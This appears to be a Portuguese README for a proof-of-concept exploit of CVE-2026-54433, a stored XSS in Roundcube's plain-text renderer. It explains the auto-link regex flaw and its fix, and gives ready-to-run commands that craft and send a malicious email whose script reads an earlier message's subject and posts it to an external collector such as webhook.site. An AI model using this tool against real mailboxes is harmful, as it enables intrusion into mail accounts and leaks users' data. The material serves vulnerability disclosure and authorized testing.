
PoC em Python configurável para CVE-2026-54433, um XSS armazenado no renderizador de e-mail em texto simples do Roundcube. Gera arquivos .eml personalizados, envia via SMTP e valida o impacto em um laboratório Docker.

Este repositório contém uma prova de conceito (PoC) em Python configurável para a CVE-2026-54433, uma vulnerabilidade de cross-site scripting armazenado no renderizador de e-mails de texto simples do Roundcube. Um remetente não autenticado pode entregar uma mensagem text/plain especialmente elaborada. Quando um usuário autenticado do Roundcube abre ou visualiza a mensagem, o JavaScript controlado pelo atacante é executado na origem do Roundcube.
A PoC demonstra impacto concreto em sessão autenticada sem coletar cookies ou corpos de mensagens: ela lê o assunto de uma mensagem mais antiga e envia esse valor, a origem do Roundcube e o nome da tarefa a um coletor autorizado como campos POST codificados em URL.
Aviso
Este é um código de exploit ativo. Use-o somente em um laboratório que você possua ou contra um sistema e uma caixa de correio que você tenha autorização explícita para testar. O modo de envio transmite um e-mail especialmente elaborado e pode revelar um assunto pré-existente ao coletor. Use
--generate-onlypara inspeção offline.
O Roundcube converte endereços encontrados em mensagens de texto simples em links mailto: clicáveis. Nas versões afetadas, o sufixo de consulta opcional era correspondido com \S+:
. '(\?\S+)?'
Como \S inclui < e >, uma string que começa como um endereço de e-mail podia fazer com que a substituição do auto-link consumisse uma tag HTML de abertura, deixando o restante para ser interpretado como marcação. Esta forma mínima ilustra o primitivo:
[email protected]?]
A correção upstream restringe o sufixo de consulta para que ele não possa conter colchetes angulares nem espaços em branco:
. '(\?[^<>\s]+)?'
O fornecedor descreve o problema como "zero-click" porque nenhum clique em link é necessário. Abrir ou visualizar o e-mail enquanto autenticado continua sendo a ação do cliente de e-mail que renderiza o payload.
| Linha de versão | Status |
|---|---|
| Versões do Roundcube anteriores a 1.6.17 | Afetadas |
| Roundcube 1.6.17 e versões 1.6.x posteriores | Corrigidas |
| Roundcube 1.7.0 e 1.7.1 | Afetadas |
| Roundcube 1.7.2 e versões posteriores | Corrigidas |
Os commits públicos de correção são:
5477e979aae0317e111564bfc9971ba7707cc1654c278f4868c67b163567cae3d74e58d872913459Atualize para o Roundcube 1.6.17 / 1.7.2 ou uma versão suportada mais recente.
text/plain.src relativo que falha para invocar onerror. Um callback do coletor ainda requer conectividade de rede do navegador.HttpOnly. Esta PoC não tenta lê-lo. Sua requisição de mesma origem usa automaticamente a sessão autenticada, e o assunto de uma mensagem separada é a prova de impacto.O resultado demonstrado é a execução de JavaScript autenticado e o acesso de leitura ao assunto de um e-mail anterior. Assunção de conta, roubo arbitrário de corpos de mensagens e execução de código no servidor não são reivindicados por este repositório.
cve-2026-54433-poc.py é autocontido e usa apenas a biblioteca padrão do Python. Ele:
text/plain RFC 5322 comum e especialmente elaborado;CVE-2026-54433;subject, origin e task para /capture/<random-marker>;O payload insere o comentário DOM:
<!-- This is a BugBounty test; only one subject is copied as evidence -->
Ele também oculta o fragmento de endereço com auto-link e o indicador de imagem quebrada, exibindo o corpo benigno fornecido pelo chamador.
Gere o e-mail sem fazer uma conexão de rede:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector https://collector.example.test \
--generate-only
Isso grava:
cve-2026-54433-trigger.emlcve-2026-54433-evidence.jsonInspecione a mensagem gerada antes de usar o modo de envio.
O valor de --collector pode ser um UUID do Webhook.site, uma URL de captura ou uma URL #!/view/. O script deriva os endpoints de captura e de polling.
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
--smtp-host smtp.example.com \
--smtp-port 587 \
--smtp-security starttls \
--smtp-user [email protected]
Se SMTP_PASSWORD estiver ausente, o script solicita a senha sem ecoá-la ou armazená-la. Uma variável com outro nome pode ser selecionada com --smtp-password-env NAME. Evite --smtp-password em sistemas multiusuário porque os argumentos de linha de comando podem ficar visíveis em listagens de processos ou no histórico do shell.
O script solicita um YES explícito antes de enviar. Em automação de laboratório não interativa e já autorizada, use --yes. Ele aguarda até 24 horas por um callback por padrão; use --timeout SECONDS para alterar isso.
Para um coletor que não seja o Webhook.site, informe a base de captura e o endpoint de status JSON opcional:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Authorized XSS test' \
--collector https://collector.example.test \
--poll-url https://collector.example.test/status \
--smtp-host mail.example.test \
--smtp-security starttls
O collector.py incluído implementa os endpoints compatíveis /capture/<marker> e /status. Ele se vincula ao loopback por padrão. A implantação real com HTTPS e o controle de acesso ficam intencionalmente a cargo do testador autorizado.
O laboratório não tem portas de host publicadas e contém apenas mensagens sintéticas. Ele usa a mesma PoC em Python para gerar o gatilho, entrega ambas as mensagens em uma caixa de correio Dovecot descartável, faz login por meio de um navegador headless descartável e registra se o handler injetado leu o assunto anterior.